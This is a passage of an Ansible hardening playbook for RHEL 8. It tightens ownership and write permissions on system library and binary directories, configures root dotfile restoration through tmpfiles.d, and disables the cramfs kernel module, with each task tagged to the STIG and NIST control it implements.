    - DISA-STIG-RHEL-08-010351
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - configure_strategy
    - dir_group_ownership_library_dirs
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Set the dir_ownership_library_dirs_newown variable if represented by uid
    ansible.builtin.set_fact:
      dir_ownership_library_dirs_newown: '0'
    tags:
    - DISA-STIG-RHEL-08-010341
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - configure_strategy
    - dir_ownership_library_dirs
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure owner on directory /lib/ recursively
    ansible.builtin.file:
      path: /lib/
      follow: false
      state: directory
      recurse: true
      owner: '{{ dir_ownership_library_dirs_newown }}'
    tags:
    - DISA-STIG-RHEL-08-010341
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - configure_strategy
    - dir_ownership_library_dirs
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure owner on directory /lib64/ recursively
    ansible.builtin.file:
      path: /lib64/
      follow: false
      state: directory
      recurse: true
      owner: '{{ dir_ownership_library_dirs_newown }}'
    tags:
    - DISA-STIG-RHEL-08-010341
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - configure_strategy
    - dir_ownership_library_dirs
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure owner on directory /usr/lib/ recursively
    ansible.builtin.file:
      path: /usr/lib/
      follow: false
      state: directory
      recurse: true
      owner: '{{ dir_ownership_library_dirs_newown }}'
    tags:
    - DISA-STIG-RHEL-08-010341
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - configure_strategy
    - dir_ownership_library_dirs
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure owner on directory /usr/lib64/ recursively
    ansible.builtin.file:
      path: /usr/lib64/
      follow: false
      state: directory
      recurse: true
      owner: '{{ dir_ownership_library_dirs_newown }}'
    tags:
    - DISA-STIG-RHEL-08-010341
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - configure_strategy
    - dir_ownership_library_dirs
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Find /lib/ file(s) recursively
    ansible.builtin.command: 'find -P /lib/  -perm /g+w,o+w  -type d '
    register: files_found
    changed_when: false
    failed_when: false
    check_mode: false
    tags:
    - DISA-STIG-RHEL-08-010331
    - NIST-800-53-CM-5
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - configure_strategy
    - dir_permissions_library_dirs
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Set permissions for /lib/ file(s)
    ansible.builtin.file:
      path: '{{ item }}'
      mode: g-w,o-w
      state: directory
    with_items:
    - '{{ files_found.stdout_lines }}'
    tags:
    - DISA-STIG-RHEL-08-010331
    - NIST-800-53-CM-5
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - configure_strategy
    - dir_permissions_library_dirs
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Find /lib64/ file(s) recursively
    ansible.builtin.command: 'find -P /lib64/  -perm /g+w,o+w  -type d '
    register: files_found
    changed_when: false
    failed_when: false
    check_mode: false
    tags:
    - DISA-STIG-RHEL-08-010331
    - NIST-800-53-CM-5
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - configure_strategy
    - dir_permissions_library_dirs
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Set permissions for /lib64/ file(s)
    ansible.builtin.file:
      path: '{{ item }}'
      mode: g-w,o-w
      state: directory
    with_items:
    - '{{ files_found.stdout_lines }}'
    tags:
    - DISA-STIG-RHEL-08-010331
    - NIST-800-53-CM-5
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - configure_strategy
    - dir_permissions_library_dirs
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Find /usr/lib/ file(s) recursively
    ansible.builtin.command: 'find -P /usr/lib/  -perm /g+w,o+w  -type d '
    register: files_found
    changed_when: false
    failed_when: false
    check_mode: false
    tags:
    - DISA-STIG-RHEL-08-010331
    - NIST-800-53-CM-5
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - configure_strategy
    - dir_permissions_library_dirs
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Set permissions for /usr/lib/ file(s)
    ansible.builtin.file:
      path: '{{ item }}'
      mode: g-w,o-w
      state: directory
    with_items:
    - '{{ files_found.stdout_lines }}'
    tags:
    - DISA-STIG-RHEL-08-010331
    - NIST-800-53-CM-5
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - configure_strategy
    - dir_permissions_library_dirs
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Find /usr/lib64/ file(s) recursively
    ansible.builtin.command: 'find -P /usr/lib64/  -perm /g+w,o+w  -type d '
    register: files_found
    changed_when: false
    failed_when: false
    check_mode: false
    tags:
    - DISA-STIG-RHEL-08-010331
    - NIST-800-53-CM-5
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - configure_strategy
    - dir_permissions_library_dirs
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Set permissions for /usr/lib64/ file(s)
    ansible.builtin.file:
      path: '{{ item }}'
      mode: g-w,o-w
      state: directory
    with_items:
    - '{{ files_found.stdout_lines }}'
    tags:
    - DISA-STIG-RHEL-08-010331
    - NIST-800-53-CM-5
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - configure_strategy
    - dir_permissions_library_dirs
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Verify that system commands files are group owned by root or a system account
      - Find system command files with incorrect group ownership
    ansible.builtin.find:
      paths: '{{ item }}'
      file_type: file
      follow: false
      recurse: false
    register: system_command_files_found
    with_items:
    - /bin
    - /sbin
    - /usr/bin
    - /usr/sbin
    - /usr/local/bin
    - /usr/local/sbin
    changed_when: false
    tags:
    - DISA-STIG-RHEL-08-010320
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - file_groupownership_system_commands_dirs
    - medium_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Verify that system commands files are group owned by root or a system account
      - Set group ownership to root for system command files
    ansible.builtin.file:
      path: '{{ item.path }}'
      group: root
    with_items: '{{ system_command_files_found.results | map(attribute=''files'')
      | flatten | rejectattr(''gr_name'', ''equalto'', ''root'') | list }}'
    tags:
    - DISA-STIG-RHEL-08-010320
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - file_groupownership_system_commands_dirs
    - medium_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Read list of system executables without root ownership
    ansible.builtin.command: find /bin/ /usr/bin/ /usr/local/bin/ /sbin/ /usr/sbin/
      /usr/local/sbin/ /usr/libexec \! -user root
    register: no_root_system_executables
    changed_when: false
    failed_when: false
    check_mode: false
    tags:
    - DISA-STIG-RHEL-08-010310
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - NIST-800-53-CM-6(a)
    - file_ownership_binary_dirs
    - medium_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Set ownership to root of system executables
    ansible.builtin.file:
      path: '{{ item }}'
      owner: root
    with_items: '{{ no_root_system_executables.stdout_lines }}'
    when: no_root_system_executables.stdout_lines | length &gt; 0
    tags:
    - DISA-STIG-RHEL-08-010310
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - NIST-800-53-CM-6(a)
    - file_ownership_binary_dirs
    - medium_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Set the file_ownership_library_dirs_newown variable if represented by uid
    ansible.builtin.set_fact:
      file_ownership_library_dirs_newown: '0'
    tags:
    - DISA-STIG-RHEL-08-010340
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - NIST-800-53-CM-6(a)
    - configure_strategy
    - file_ownership_library_dirs
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Find /lib/ file(s) matching ^.*$ recursively
    ansible.builtin.command: find -P /lib/  -type f  ! -user 0 -regextype posix-extended
      -regex &quot;^.*$&quot;
    register: files_found
    changed_when: false
    failed_when: false
    check_mode: false
    tags:
    - DISA-STIG-RHEL-08-010340
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - NIST-800-53-CM-6(a)
    - configure_strategy
    - file_ownership_library_dirs
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure owner on /lib/ file(s) matching ^.*$
    ansible.builtin.file:
      path: '{{ item }}'
      follow: false
      owner: '{{ file_ownership_library_dirs_newown }}'
      state: file
    with_items:
    - '{{ files_found.stdout_lines }}'
    tags:
    - DISA-STIG-RHEL-08-010340
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - NIST-800-53-CM-6(a)
    - configure_strategy
    - file_ownership_library_dirs
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Find /lib64/ file(s) matching ^.*$ recursively
    ansible.builtin.command: find -P /lib64/  -type f  ! -user 0 -regextype posix-extended
      -regex &quot;^.*$&quot;
    register: files_found
    changed_when: false
    failed_when: false
    check_mode: false
    tags:
    - DISA-STIG-RHEL-08-010340
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - NIST-800-53-CM-6(a)
    - configure_strategy
    - file_ownership_library_dirs
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure owner on /lib64/ file(s) matching ^.*$
    ansible.builtin.file:
      path: '{{ item }}'
      follow: false
      owner: '{{ file_ownership_library_dirs_newown }}'
      state: file
    with_items:
    - '{{ files_found.stdout_lines }}'
    tags:
    - DISA-STIG-RHEL-08-010340
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - NIST-800-53-CM-6(a)
    - configure_strategy
    - file_ownership_library_dirs
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Find /usr/lib/ file(s) matching ^.*$ recursively
    ansible.builtin.command: find -P /usr/lib/  -type f  ! -user 0 -regextype posix-extended
      -regex &quot;^.*$&quot;
    register: files_found
    changed_when: false
    failed_when: false
    check_mode: false
    tags:
    - DISA-STIG-RHEL-08-010340
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - NIST-800-53-CM-6(a)
    - configure_strategy
    - file_ownership_library_dirs
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure owner on /usr/lib/ file(s) matching ^.*$
    ansible.builtin.file:
      path: '{{ item }}'
      follow: false
      owner: '{{ file_ownership_library_dirs_newown }}'
      state: file
    with_items:
    - '{{ files_found.stdout_lines }}'
    tags:
    - DISA-STIG-RHEL-08-010340
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - NIST-800-53-CM-6(a)
    - configure_strategy
    - file_ownership_library_dirs
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Find /usr/lib64/ file(s) matching ^.*$ recursively
    ansible.builtin.command: find -P /usr/lib64/  -type f  ! -user 0 -regextype posix-extended
      -regex &quot;^.*$&quot;
    register: files_found
    changed_when: false
    failed_when: false
    check_mode: false
    tags:
    - DISA-STIG-RHEL-08-010340
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - NIST-800-53-CM-6(a)
    - configure_strategy
    - file_ownership_library_dirs
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure owner on /usr/lib64/ file(s) matching ^.*$
    ansible.builtin.file:
      path: '{{ item }}'
      follow: false
      owner: '{{ file_ownership_library_dirs_newown }}'
      state: file
    with_items:
    - '{{ files_found.stdout_lines }}'
    tags:
    - DISA-STIG-RHEL-08-010340
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - NIST-800-53-CM-6(a)
    - configure_strategy
    - file_ownership_library_dirs
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Read list of world and group writable system executables
    ansible.builtin.command: find -L /bin /usr/bin /usr/local/bin /sbin /usr/sbin
      /usr/local/sbin /usr/libexec -perm /022 \( -type l -o -type f \)
    register: world_writable_library_files
    changed_when: false
    failed_when: false
    check_mode: false
    tags:
    - DISA-STIG-RHEL-08-010300
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - NIST-800-53-CM-6(a)
    - file_permissions_binary_dirs
    - medium_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Remove world/group writability of system executables
    ansible.builtin.file:
      path: '{{ item }}'
      mode: go-w
      state: file
    with_items: '{{ world_writable_library_files.stdout_lines }}'
    when: world_writable_library_files.stdout_lines | length &gt; 0
    tags:
    - DISA-STIG-RHEL-08-010300
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - NIST-800-53-CM-6(a)
    - file_permissions_binary_dirs
    - medium_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Find /lib/ file(s) recursively
    ansible.builtin.command: find -P /lib/  -perm /g+w,o+w  -type f -regextype posix-extended
      -regex &quot;^.*$&quot;
    register: files_found
    changed_when: false
    failed_when: false
    check_mode: false
    tags:
    - DISA-STIG-RHEL-08-010330
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - NIST-800-53-CM-6(a)
    - configure_strategy
    - file_permissions_library_dirs
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Set permissions for /lib/ file(s)
    ansible.builtin.file:
      path: '{{ item }}'
      mode: g-w,o-w
      state: file
    with_items:
    - '{{ files_found.stdout_lines }}'
    tags:
    - DISA-STIG-RHEL-08-010330
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - NIST-800-53-CM-6(a)
    - configure_strategy
    - file_permissions_library_dirs
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Find /lib64/ file(s) recursively
    ansible.builtin.command: find -P /lib64/  -perm /g+w,o+w  -type f -regextype posix-extended
      -regex &quot;^.*$&quot;
    register: files_found
    changed_when: false
    failed_when: false
    check_mode: false
    tags:
    - DISA-STIG-RHEL-08-010330
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - NIST-800-53-CM-6(a)
    - configure_strategy
    - file_permissions_library_dirs
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Set permissions for /lib64/ file(s)
    ansible.builtin.file:
      path: '{{ item }}'
      mode: g-w,o-w
      state: file
    with_items:
    - '{{ files_found.stdout_lines }}'
    tags:
    - DISA-STIG-RHEL-08-010330
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - NIST-800-53-CM-6(a)
    - configure_strategy
    - file_permissions_library_dirs
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Find /usr/lib/ file(s) recursively
    ansible.builtin.command: find -P /usr/lib/  -perm /g+w,o+w  -type f -regextype
      posix-extended -regex &quot;^.*$&quot;
    register: files_found
    changed_when: false
    failed_when: false
    check_mode: false
    tags:
    - DISA-STIG-RHEL-08-010330
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - NIST-800-53-CM-6(a)
    - configure_strategy
    - file_permissions_library_dirs
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Set permissions for /usr/lib/ file(s)
    ansible.builtin.file:
      path: '{{ item }}'
      mode: g-w,o-w
      state: file
    with_items:
    - '{{ files_found.stdout_lines }}'
    tags:
    - DISA-STIG-RHEL-08-010330
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - NIST-800-53-CM-6(a)
    - configure_strategy
    - file_permissions_library_dirs
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Find /usr/lib64/ file(s) recursively
    ansible.builtin.command: find -P /usr/lib64/  -perm /g+w,o+w  -type f -regextype
      posix-extended -regex &quot;^.*$&quot;
    register: files_found
    changed_when: false
    failed_when: false
    check_mode: false
    tags:
    - DISA-STIG-RHEL-08-010330
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - NIST-800-53-CM-6(a)
    - configure_strategy
    - file_permissions_library_dirs
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Set permissions for /usr/lib64/ file(s)
    ansible.builtin.file:
      path: '{{ item }}'
      mode: g-w,o-w
      state: file
    with_items:
    - '{{ files_found.stdout_lines }}'
    tags:
    - DISA-STIG-RHEL-08-010330
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - NIST-800-53-CM-6(a)
    - configure_strategy
    - file_permissions_library_dirs
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Set the root_permissions_syslibrary_files_newgroup variable if represented
      by gid
    ansible.builtin.set_fact:
      root_permissions_syslibrary_files_newgroup: '0'
    tags:
    - DISA-STIG-RHEL-08-010350
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - root_permissions_syslibrary_files

  - name: Find /lib/ file(s) matching ^.*$ recursively
    ansible.builtin.command: find -P /lib/  -type f  ! -group 0 -regextype posix-extended
      -regex &quot;^.*$&quot;
    register: files_found
    changed_when: false
    failed_when: false
    check_mode: false
    tags:
    - DISA-STIG-RHEL-08-010350
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - root_permissions_syslibrary_files

  - name: Ensure group owner on /lib/ file(s) matching ^.*$
    ansible.builtin.file:
      path: '{{ item }}'
      follow: false
      group: '{{ root_permissions_syslibrary_files_newgroup }}'
      state: file
    with_items:
    - '{{ files_found.stdout_lines }}'
    tags:
    - DISA-STIG-RHEL-08-010350
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - root_permissions_syslibrary_files

  - name: Find /lib64/ file(s) matching ^.*$ recursively
    ansible.builtin.command: find -P /lib64/  -type f  ! -group 0 -regextype posix-extended
      -regex &quot;^.*$&quot;
    register: files_found
    changed_when: false
    failed_when: false
    check_mode: false
    tags:
    - DISA-STIG-RHEL-08-010350
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - root_permissions_syslibrary_files

  - name: Ensure group owner on /lib64/ file(s) matching ^.*$
    ansible.builtin.file:
      path: '{{ item }}'
      follow: false
      group: '{{ root_permissions_syslibrary_files_newgroup }}'
      state: file
    with_items:
    - '{{ files_found.stdout_lines }}'
    tags:
    - DISA-STIG-RHEL-08-010350
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - root_permissions_syslibrary_files

  - name: Find /usr/lib/ file(s) matching ^.*$ recursively
    ansible.builtin.command: find -P /usr/lib/  -type f  ! -group 0 -regextype posix-extended
      -regex &quot;^.*$&quot;
    register: files_found
    changed_when: false
    failed_when: false
    check_mode: false
    tags:
    - DISA-STIG-RHEL-08-010350
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - root_permissions_syslibrary_files

  - name: Ensure group owner on /usr/lib/ file(s) matching ^.*$
    ansible.builtin.file:
      path: '{{ item }}'
      follow: false
      group: '{{ root_permissions_syslibrary_files_newgroup }}'
      state: file
    with_items:
    - '{{ files_found.stdout_lines }}'
    tags:
    - DISA-STIG-RHEL-08-010350
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - root_permissions_syslibrary_files

  - name: Find /usr/lib64/ file(s) matching ^.*$ recursively
    ansible.builtin.command: find -P /usr/lib64/  -type f  ! -group 0 -regextype posix-extended
      -regex &quot;^.*$&quot;
    register: files_found
    changed_when: false
    failed_when: false
    check_mode: false
    tags:
    - DISA-STIG-RHEL-08-010350
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - root_permissions_syslibrary_files

  - name: Ensure group owner on /usr/lib64/ file(s) matching ^.*$
    ansible.builtin.file:
      path: '{{ item }}'
      follow: false
      group: '{{ root_permissions_syslibrary_files_newgroup }}'
      state: file
    with_items:
    - '{{ files_found.stdout_lines }}'
    tags:
    - DISA-STIG-RHEL-08-010350
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - root_permissions_syslibrary_files

  - name: Ensure rootfiles tmpfile.d is Configured Correctly - Find configuration
      files
    ansible.builtin.find:
      paths: /etc/tmpfiles.d/
      file_type: file
      patterns: '*.conf'
    register: rootfiles_configured_bash_logout_found_files
    when: '&quot;rootfiles&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010770
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rootfiles_configured

  - name: Ensure rootfiles tmpfile.d is Configured Correctly - Remove existing configuration
    ansible.builtin.lineinfile:
      path: '{{ item.path }}'
      regexp: ^C\s+/root/\.bash_logout.+$
      state: absent
    loop: '{{ rootfiles_configured_bash_logout_found_files.files }}'
    when: '&quot;rootfiles&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010770
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rootfiles_configured

  - name: Ensure rootfiles tmpfile.d is Configured Correctly
    ansible.builtin.lineinfile:
      path: /etc/tmpfiles.d/rootfiles.conf
      create: true
      regexp: (?i)/usr/share/rootfiles/.bash_logout
      line: C /root/.bash_logout 600 root root - /usr/share/rootfiles/.bash_logout
      state: present
    when: '&quot;rootfiles&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010770
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rootfiles_configured

  - name: Ensure rootfiles tmpfile.d is Configured Correctly - Find configuration
      files
    ansible.builtin.find:
      paths: /etc/tmpfiles.d/
      file_type: file
      patterns: '*.conf'
    register: rootfiles_configured_bash_profile_found_files
    when: '&quot;rootfiles&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010770
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rootfiles_configured

  - name: Ensure rootfiles tmpfile.d is Configured Correctly - Remove existing configuration
    ansible.builtin.lineinfile:
      path: '{{ item.path }}'
      regexp: ^C\s+/root/\.bash_profile.+$
      state: absent
    loop: '{{ rootfiles_configured_bash_profile_found_files.files }}'
    when: '&quot;rootfiles&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010770
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rootfiles_configured

  - name: Ensure rootfiles tmpfile.d is Configured Correctly
    ansible.builtin.lineinfile:
      path: /etc/tmpfiles.d/rootfiles.conf
      create: true
      regexp: (?i)/usr/share/rootfiles/.bash_profile
      line: C /root/.bash_profile 600 root root - /usr/share/rootfiles/.bash_profile
      state: present
    when: '&quot;rootfiles&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010770
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rootfiles_configured

  - name: Ensure rootfiles tmpfile.d is Configured Correctly - Find configuration
      files
    ansible.builtin.find:
      paths: /etc/tmpfiles.d/
      file_type: file
      patterns: '*.conf'
    register: rootfiles_configured_bashrc_found_files
    when: '&quot;rootfiles&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010770
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rootfiles_configured

  - name: Ensure rootfiles tmpfile.d is Configured Correctly - Remove existing configuration
    ansible.builtin.lineinfile:
      path: '{{ item.path }}'
      regexp: ^C\s+/root/\.bashrc.+$
      state: absent
    loop: '{{ rootfiles_configured_bashrc_found_files.files }}'
    when: '&quot;rootfiles&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010770
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rootfiles_configured

  - name: Ensure rootfiles tmpfile.d is Configured Correctly
    ansible.builtin.lineinfile:
      path: /etc/tmpfiles.d/rootfiles.conf
      create: true
      regexp: (?i)/usr/share/rootfiles/.bashrc
      line: C /root/.bashrc 600 root root - /usr/share/rootfiles/.bashrc
      state: present
    when: '&quot;rootfiles&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010770
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rootfiles_configured

  - name: Ensure rootfiles tmpfile.d is Configured Correctly - Find configuration
      files
    ansible.builtin.find:
      paths: /etc/tmpfiles.d/
      file_type: file
      patterns: '*.conf'
    register: rootfiles_configured_cshrc_found_files
    when: '&quot;rootfiles&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010770
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rootfiles_configured

  - name: Ensure rootfiles tmpfile.d is Configured Correctly - Remove existing configuration
    ansible.builtin.lineinfile:
      path: '{{ item.path }}'
      regexp: ^C\s+/root/\.cshrc.+$
      state: absent
    loop: '{{ rootfiles_configured_cshrc_found_files.files }}'
    when: '&quot;rootfiles&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010770
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rootfiles_configured

  - name: Ensure rootfiles tmpfile.d is Configured Correctly
    ansible.builtin.lineinfile:
      path: /etc/tmpfiles.d/rootfiles.conf
      create: true
      regexp: (?i)/usr/share/rootfiles/.cshrc
      line: C /root/.cshrc 600 root root - /usr/share/rootfiles/.cshrc
      state: present
    when: '&quot;rootfiles&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010770
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rootfiles_configured

  - name: Ensure rootfiles tmpfile.d is Configured Correctly - Find configuration
      files
    ansible.builtin.find:
      paths: /etc/tmpfiles.d/
      file_type: file
      patterns: '*.conf'
    register: rootfiles_configured_tcshrc_found_files
    when: '&quot;rootfiles&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010770
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rootfiles_configured

  - name: Ensure rootfiles tmpfile.d is Configured Correctly - Remove existing configuration
    ansible.builtin.lineinfile:
      path: '{{ item.path }}'
      regexp: ^C\s+/root/\.tcshrc.+$
      state: absent
    loop: '{{ rootfiles_configured_tcshrc_found_files.files }}'
    when: '&quot;rootfiles&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010770
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rootfiles_configured

  - name: Ensure rootfiles tmpfile.d is Configured Correctly
    ansible.builtin.lineinfile:
      path: /etc/tmpfiles.d/rootfiles.conf
      create: true
      regexp: (?i)/usr/share/rootfiles/.tcshrc
      line: C /root/.tcshrc 600 root root - /usr/share/rootfiles/.tcshrc
      state: present
    when: '&quot;rootfiles&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010770
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rootfiles_configured

  - name: Ensure kernel module 'cramfs' is disabled
    ansible.builtin.lineinfile:
      create: true
      dest: /etc/modprobe.d/cramfs.conf
      regexp: install\s+cramfs
      line: install cramfs /bin/false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040025
    - NIST-800-171-3.4.6
    - NIST-800-53-CM-6(a)
